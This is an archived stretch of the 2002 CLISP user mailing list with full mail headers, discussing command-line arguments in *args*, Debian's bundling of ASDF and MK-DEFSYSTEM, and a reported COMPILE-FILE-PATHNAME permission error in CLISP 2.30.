1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.41.208] at Tue, 22 Oct 2002 16:51:17 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 14:52:01 2002 X-Original-Date: 22 Oct 2002 17:52:44 -0400 > * In message <87iszucgsv.fsf@computer.localdomain> > * On the subject of "Re: [clisp-list] accessing command-line-arguments from within clisp" > * Sent on 22 Oct 2002 17:19:44 -0400 > * Honorable "D. Goel" writes: > > But again, WIBNI if clisp did that by default---store the commandline > as a string or a list of arguemnts, in a global variable... Why do you need the -q/-norc/-M/-m ... ? -B is ext:lib-directory (see impnotes). -L is ext:current-language (ditto). all the other (i.e., non-CLISP-defined) arguments _are_ made available in *args*. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Sex is like air. It's only a big deal if you can't get any. From sds@gnu.org Tue Oct 22 14:56:08 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18470S-0003JG-00 for ; Tue, 22 Oct 2002 14:56:08 -0700 Received: from loiso.podval.org ([151.203.41.208]) by pop015.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021022215601.SQGK28019.pop015.verizon.net@loiso.podval.org>; Tue, 22 Oct 2002 16:56:01 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9MLvTVm010533; Tue, 22 Oct 2002 17:57:29 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9MLvTfR010529; Tue, 22 Oct 2002 17:57:29 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "D. Goel" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol References: <87fzuyfrb9.fsf@computer.localdomain> <87n0p6cgy0.fsf@computer.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87n0p6cgy0.fsf@computer.localdomain> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.41.208] at Tue, 22 Oct 2002 16:56:01 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 14:57:01 2002 X-Original-Date: 22 Oct 2002 17:57:29 -0400 > * In message <87n0p6cgy0.fsf@computer.localdomain> > * On the subject of "Re: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol" > * Sent on 22 Oct 2002 17:16:39 -0400 > * Honorable "D. Goel" writes: > > Subscribed (already), thanks. > > > Features: > > > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB > > > > why do you use both ASDF and MK-DEFSYSTEM? > > I didn't try to use both. I simply tried the plain debian install > > apt-get -t unstable -u install clisp > > and got clisp 2.30 installed. Then, when reporting my problem, i just > typed the clisp --version, and pasted the result. > > So, is my clisp using both? Is using both bad? Is my install > therefore a bit 'broken' ? ASDF and MK-DEFSYSTEM implement the same functionality. It's like installing both VIM and NVI. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If abortion is murder, then oral sex is cannibalism. From sds@gnu.org Tue Oct 22 15:04:38 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18478g-0006y2-00 for ; Tue, 22 Oct 2002 15:04:38 -0700 Received: from loiso.podval.org ([151.203.41.208]) by out001.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021022220431.EDXO3265.out001.verizon.net@loiso.podval.org>; Tue, 22 Oct 2002 17:04:31 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9MM5xVm010858; Tue, 22 Oct 2002 18:05:59 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9MM5xvw010854; Tue, 22 Oct 2002 18:05:59 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Marco Antoniotti Cc: clisp-list@lists.sourceforge.net References: <87fzuyfrb9.fsf@computer.localdomain> <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu> <200210222156.g9MLuqb03065@bioinformatics.cims.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200210222156.g9MLuqb03065@bioinformatics.cims.nyu.edu> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.41.208] at Tue, 22 Oct 2002 17:04:30 -0500 Subject: [clisp-list] Re: Trying to send an email to clisp-list... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 15:05:02 2002 X-Original-Date: 22 Oct 2002 18:05:59 -0400 > * In message <200210222156.g9MLuqb03065@bioinformatics.cims.nyu.edu> > * On the subject of "Re: Trying to send an email to clisp-list..." > * Sent on Tue, 22 Oct 2002 17:56:52 -0400 > * Honorable Marco Antoniotti writes: > > > > The email is about clisp 2.30. This is what I get. I think it is a bug. > > > > > > [2]> (compile-file-pathname "foo.lisp") > > > > > > *** - UNIX error 13 (EACCES): Permission denied > > > 1. Break [3]> > > > > one of the directories in *load-path* or the current directory is > > unreadable. (compile-file "foo.lisp") would signal an error too. > > Why should this be a problem? COMPILE-FILE-PATHNAME shouldn't > interact with the file system. COMPILE-FILE would, but at a later > stage. In CLISP, COMPILE-FILE uses *LOAD-PATHS* when the file is not present in the current directory (this is an extension which allows you to recompile your files without typing full paths or CD's). Therefore COMPILE-FILE-PATHNAME will need to search through it. See . -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Don't take life too seriously, you'll never get out of it alive! From rudi@constantly.at Wed Oct 23 00:54:29 2002 Received: from slaw40.kfunigraz.ac.at ([143.50.79.40] helo=semmel) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184GLT-00032g-00 for ; Wed, 23 Oct 2002 00:54:27 -0700 Received: from semmel ([127.0.0.1] helo=localhost.localdomain ident=rudi) by semmel with esmtp (Exim 3.36 #1 (Debian)) id 184GMC-00041b-00 for ; Wed, 23 Oct 2002 09:55:12 +0200 Subject: Re: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol From: Rudi Schlatte To: clisp-list@lists.sourceforge.net In-Reply-To: References: <87fzuyfrb9.fsf@computer.localdomain> <87n0p6cgy0.fsf@computer.localdomain> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1035359712.1732.86.camel@semmel> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 00:55:02 2002 X-Original-Date: 23 Oct 2002 09:55:10 +0200 On Tue, 2002-10-22 at 23:57, Sam Steingold wrote: > > ASDF and MK-DEFSYSTEM implement the same functionality. > It's like installing both VIM and NVI. It's a feature :) Debian's common-lisp-controller, which is in charge of recompilation etc. of Lisp systems included in the Debian distribution, depends on an installed defsystem facility in the standard image of every Lisp installation that it manages. Since packages come with either .asdf or .system files, c-l-c installs both of these. The alternative would be to require the use of one specific system definition facility for every Lisp package to be included in Debian. Regards, Rudi (imagining the flame wars ...) From csr21@cam.ac.uk Wed Oct 23 00:56:07 2002 Received: from brown.csi.cam.ac.uk ([131.111.8.14]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184GN4-0003VW-00 for ; Wed, 23 Oct 2002 00:56:06 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by brown.csi.cam.ac.uk with esmtp (Exim 4.10) id 184GN0-0008RS-00; Wed, 23 Oct 2002 08:56:02 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 184GMj-0004Hy-00; Wed, 23 Oct 2002 08:55:45 +0100 To: Sam Steingold Cc: "D. Goel" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol Message-ID: <20021023075544.GA16476@cam.ac.uk> References: <87fzuyfrb9.fsf@computer.localdomain> <87n0p6cgy0.fsf@computer.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 00:57:02 2002 X-Original-Date: Wed, 23 Oct 2002 08:55:44 +0100 On Tue, Oct 22, 2002 at 05:57:29PM -0400, Sam Steingold wrote: > > > > Features: > > > > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB > > > > > > why do you use both ASDF and MK-DEFSYSTEM? > > > > I didn't try to use both. I simply tried the plain debian install > > > > apt-get -t unstable -u install clisp > > > > and got clisp 2.30 installed. Then, when reporting my problem, i just > > typed the clisp --version, and pasted the result. > > > > So, is my clisp using both? Is using both bad? Is my install > > therefore a bit 'broken' ? > > ASDF and MK-DEFSYSTEM implement the same functionality. > It's like installing both VIM and NVI. ... which, if some users prefer vim and some nvi, is a sensible thing to do. The Debian treatment of CL is a little sledgehammer-like, but it's trying to solve a difficult problem: automatic system-wide install of third-party lisp packages. Some of these packages have mk-defsystem descriptions, and some have asds; therefore, to have a chance at compiling them on install, a given lisp compiler (clisp, in this instance) must understand both formats. There is no known problem with having an image with both ASDF and MK-DEFSYSTEM. If you discover one, please report it as a bug. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From deego@gnufans.redirectme.net Wed Oct 23 06:05:47 2002 Received: from 24-197-159-102.charterga.net ([24.197.159.102] helo=computer) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184LCj-0000Mg-00 for ; Wed, 23 Oct 2002 06:05:45 -0700 Received: from deego by computer with local (Exim 3.36 #1 (Debian)) id 184LCh-000069-00 for ; Wed, 23 Oct 2002 09:05:43 -0400 To: clisp-list Subject: Re: [clisp-list] accessing command-line-arguments from within clisp References: <87znt6e4dp.fsf@computer.localdomain> <87iszucgsv.fsf@computer.localdomain> From: D. Goel In-Reply-To: Message-ID: <87znt5tie1.fsf@computer.localdomain> Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 06:06:02 2002 X-Original-Date: 23 Oct 2002 09:05:42 -0400 > > Why do you need the -q/-norc/-M/-m ... ? > -B is ext:lib-directory (see impnotes). > -L is ext:current-language (ditto). I don't need them (right now), but i guess it can't hurt to have that information available inside clisp as well.. > > all the other (i.e., non-CLISP-defined) arguments _are_ made > available in *args*. Yes, although as i understand it, *args* is bound only temporarily to those arguments, that too while loading a file. (i guess, the common lisp specs must surely be allowing for some variables which an implementation can bind as it chooses... one such variable could be bound permamnently to initial-args..) Anyhow, this is just a minor wishlist. You all have solved my problem, and thanks a ton for the same... CLISP rocks. DG http://deego.gnufans.org/~deego/ -- From lisp-clisp-list@m.gmane.org Wed Oct 23 08:08:27 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184N7R-0006as-00 for ; Wed, 23 Oct 2002 08:08:26 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 184N6O-0002Ok-00 for ; Wed, 23 Oct 2002 17:07:20 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 184N6N-0002Ob-00 for ; Wed, 23 Oct 2002 17:07:19 +0200 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 20 Message-ID: References: <87znt6e4dp.fsf@computer.localdomain> <87iszucgsv.fsf@computer.localdomain> <87znt5tie1.fsf@computer.localdomain> Reply-To: sds@gnu.org NNTP-Posting-Host: pool-151-203-41-208.bos.east.verizon.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1035385639 7284 151.203.41.208 (23 Oct 2002 15:07:19 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Wed, 23 Oct 2002 15:07:19 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: accessing command-line-arguments from within clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 08:09:04 2002 X-Original-Date: 23 Oct 2002 11:10:01 -0400 > * In message <87znt5tie1.fsf@computer.localdomain> > * On the subject of "Re: accessing command-line-arguments from within clisp" > * Sent on 23 Oct 2002 09:05:42 -0400 > * Honorable D. Goel writes: > > Yes, although as i understand it, *args* is bound only temporarily to > those arguments, that too while loading a file. (i guess, the common > lisp specs must surely be allowing for some variables which an > implementation can bind as it chooses... one such variable could be > bound permamnently to initial-args..) I think you are somewhat confused. *args* is _always_ _set_ (as in SETQ) to the list of _all_ arguments that have _not_ been processed and taken care of by CLISP. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux You can have it good, soon or cheap. Pick two... From marcoxa@cs.nyu.edu Wed Oct 23 12:00:20 2002 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=cs.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184Qjr-0007OR-00 for ; Wed, 23 Oct 2002 12:00:19 -0700 Received: (from marcoxa@localhost) by bioinformatics.cims.nyu.edu (8.11.6/8.11.6) id g9MNTaQ03264; Tue, 22 Oct 2002 19:29:36 -0400 Message-Id: <200210222329.g9MNTaQ03264@bioinformatics.cims.nyu.edu> From: Marco Antoniotti To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 22 Oct 2002 18:05:59 -0400) References: <87fzuyfrb9.fsf@computer.localdomain> <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu> <200210222156.g9MLuqb03065@bioinformatics.cims.nyu.edu> Subject: [clisp-list] Re: Trying to send an email to clisp-list... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 12:01:02 2002 X-Original-Date: Tue, 22 Oct 2002 19:29:36 -0400 > X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f > Cc: clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > Date: 22 Oct 2002 18:05:59 -0400 > X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.41.208] at Tue, 22 Oct 2002 17:04:30 -0500 > X-UIDL: $/A!!(\;!!-`#!!Y\V"! > > > * In message <200210222156.g9MLuqb03065@bioinformatics.cims.nyu.edu> > > * On the subject of "Re: Trying to send an email to clisp-list..." > > * Sent on Tue, 22 Oct 2002 17:56:52 -0400 > > * Honorable Marco Antoniotti writes: > > > > > > The email is about clisp 2.30. This is what I get. I think it is a bug. > > > > > > > > [2]> (compile-file-pathname "foo.lisp") > > > > > > > > *** - UNIX error 13 (EACCES): Permission denied > > > > 1. Break [3]> > > > > > > one of the directories in *load-path* or the current directory is > > > unreadable. (compile-file "foo.lisp") would signal an error too. > > > > Why should this be a problem? COMPILE-FILE-PATHNAME shouldn't > > interact with the file system. COMPILE-FILE would, but at a later > > stage. > > In CLISP, COMPILE-FILE uses *LOAD-PATHS* when the file is not present > in the current directory (this is an extension which allows you to > recompile your files without typing full paths or CD's). > Therefore COMPILE-FILE-PATHNAME will need to search through it. > See . Sorry, but I need to raise the non-conformant flag here. AFAIU COMPILE-FILE-PATHNAME is a "pathname algebra" function, unlike COMPILE-FILE. Hence, it should not interact with the file system at all. This is IMHO a bug which should be corrected. Besides, at least CMUCL (and SBCL) along with LW on Windows work as expected. Recompiling a file is a different issue altogether. The completion facility could be added to COMPILE-FILE, not COMPILE-FILE-PATHNAME. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From marcoxa@cs.nyu.edu Wed Oct 23 12:00:22 2002 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=cs.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184Qjt-0007OR-00 for ; Wed, 23 Oct 2002 12:00:21 -0700 Received: (from marcoxa@localhost) by bioinformatics.cims.nyu.edu (8.11.6/8.11.6) id g9MLvgw03069; Tue, 22 Oct 2002 17:57:42 -0400 Message-Id: <200210222157.g9MLvgw03069@bioinformatics.cims.nyu.edu> From: Marco Antoniotti To: deego@gnufans.org CC: clisp-list@lists.sourceforge.net In-reply-to: <87n0p6cgy0.fsf@computer.localdomain> (deego@gnufans.org) Subject: Re: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol References: <87fzuyfrb9.fsf@computer.localdomain> <87n0p6cgy0.fsf@computer.localdomain> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 12:01:03 2002 X-Original-Date: Tue, 22 Oct 2002 17:57:42 -0400 > From: "D. Goel" > Sender: clisp-list-admin@lists.sourceforge.net > X-Original-Date: 22 Oct 2002 17:16:39 -0400 > Date: 22 Oct 2002 17:16:39 -0400 > X-UIDL: SE^!!C!H!!'g$"!4]+"! > > Thanks for the reply, Sam. > > > > yes (it is also a good idea to subscribe to this list or read it via gmane.org) > > Subscribed (already), thanks. > > > Features: > > > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB > > > > why do you use both ASDF and MK-DEFSYSTEM? Why not? Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From marcoxa@cs.nyu.edu Wed Oct 23 12:00:23 2002 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=cs.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184Qjv-0007OR-00 for ; Wed, 23 Oct 2002 12:00:23 -0700 Received: (from marcoxa@localhost) by bioinformatics.cims.nyu.edu (8.11.6/8.11.6) id g9MLuqb03065; Tue, 22 Oct 2002 17:56:52 -0400 Message-Id: <200210222156.g9MLuqb03065@bioinformatics.cims.nyu.edu> From: Marco Antoniotti To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 22 Oct 2002 16:26:59 -0400) References: <87fzuyfrb9.fsf@computer.localdomain> <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu> Subject: [clisp-list] Re: Trying to send an email to clisp-list... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 12:01:03 2002 X-Original-Date: Tue, 22 Oct 2002 17:56:52 -0400 > X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f > Cc: clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > Date: 22 Oct 2002 16:26:59 -0400 > X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.41.208] at Tue, 22 Oct 2002 15:25:33 -0500 > X-UIDL: *SN"!W[7"!R\^"!<"j"! > > Hi Marco, > > > * In message <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu> > > * On the subject of "Trying to send an email to clisp-list..." > > * Sent on Tue, 22 Oct 2002 15:35:52 -0400 > > * Honorable Marco Antoniotti writes: > > > > I have been trying to send an email to clisp-list for a few days > > without success. Could you check is it gets blocked by mailman? > > nope - the admin interface is clean - > none of your message has been blocked. Yep. I think this is a SF mistake. My messages keep bouncing (we just moved behind a firewall, but I thought I was ok). > > > The email is about clisp 2.30. This is what I get. I think it is a bug. > > > > [2]> (compile-file-pathname "foo.lisp") > > > > *** - UNIX error 13 (EACCES): Permission denied > > 1. Break [3]> > > one of the directories in *load-path* or the current directory is > unreadable. (compile-file "foo.lisp") would signal an error too. Why should this be a problem? COMPILE-FILE-PATHNAME shouldn't interact with the file system. COMPILE-FILE would, but at a later stage. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From marcoxa@cs.nyu.edu Wed Oct 23 12:00:25 2002 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=cs.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184Qjw-0007OR-00 for ; Wed, 23 Oct 2002 12:00:24 -0700 Received: (from marcoxa@localhost) by bioinformatics.cims.nyu.edu (8.11.6/8.11.6) id g9MH44D02367; Tue, 22 Oct 2002 13:04:04 -0400 Message-Id: <200210221704.g9MH44D02367@bioinformatics.cims.nyu.edu> From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Subject: [clisp-list] COMPILE-FILE-PATHNAME fails on 2.30 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 12:01:03 2002 X-Original-Date: Tue, 22 Oct 2002 13:04:04 -0400 I don't know if anybody reported this already. This is in a fresh clisp with an empty init file. Adding `-ansi' does not help. Cheers Marco [marcoxa@tapulon ~]$ clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 ;; Loading file /home/marcoxa/.clisprc ... ;; Loaded file /home/marcoxa/.clisprc [1]> () NIL [2]> (compile-file-pathname "foo.lisp") *** - UNIX error 13 (EACCES): Permission denied 1. Break [3]> -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From marcoxa@cs.nyu.edu Wed Oct 23 12:00:27 2002 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=cs.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 184Qjy-0007OR-00 for ; Wed, 23 Oct 2002 12:00:26 -0700 Received: (from marcoxa@localhost) by bioinformatics.cims.nyu.edu (8.11.6/8.11.6) id g9JJxSm22112; Sat, 19 Oct 2002 15:59:28 -0400 Message-Id: <200210191959.g9JJxSm22112@bioinformatics.cims.nyu.edu> From: Marco Antoniotti To: clisp-list@lists.sourceforge.net In-reply-to: <3DB1049B.5040006@yandex.ru> (vvzhy@yandex.ru) Subject: Re: [clisp-list] Re: clisp 2.30 and readline problems References: <3DB017A2.20505@yandex.ru> <3DB1049B.5040006@yandex.ru> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 23 12:01:04 2002 X-Original-Date: Sat, 19 Oct 2002 15:59:28 -0400 Hi I just installed clisp 2.30 (tar.gz file from Sourceforge). I get the following error. ============================================================================== [marcoxa@tapulon ~]$ clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 ;; Loading file /home/marcoxa/.clisprc ... ;; Loaded file /home/marcoxa/.clisprc [1]> (compile-file-pathname "foo.lisp") *** - UNIX error 13 (EACCES): Permission denied 1. Break [2]> ============================================================================== Note that .clisprc is empty. Is this known? Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 25 02:00:36 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1850J5-0000Ib-00 for ; Fri, 25 Oct 2002 01:59:04 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 25 Oct 2002 10:58:40 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 25 Oct 2002 10:58:04 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dave@synergy.org MIME-Version: 1.0 X-Mailer: Internet Mail 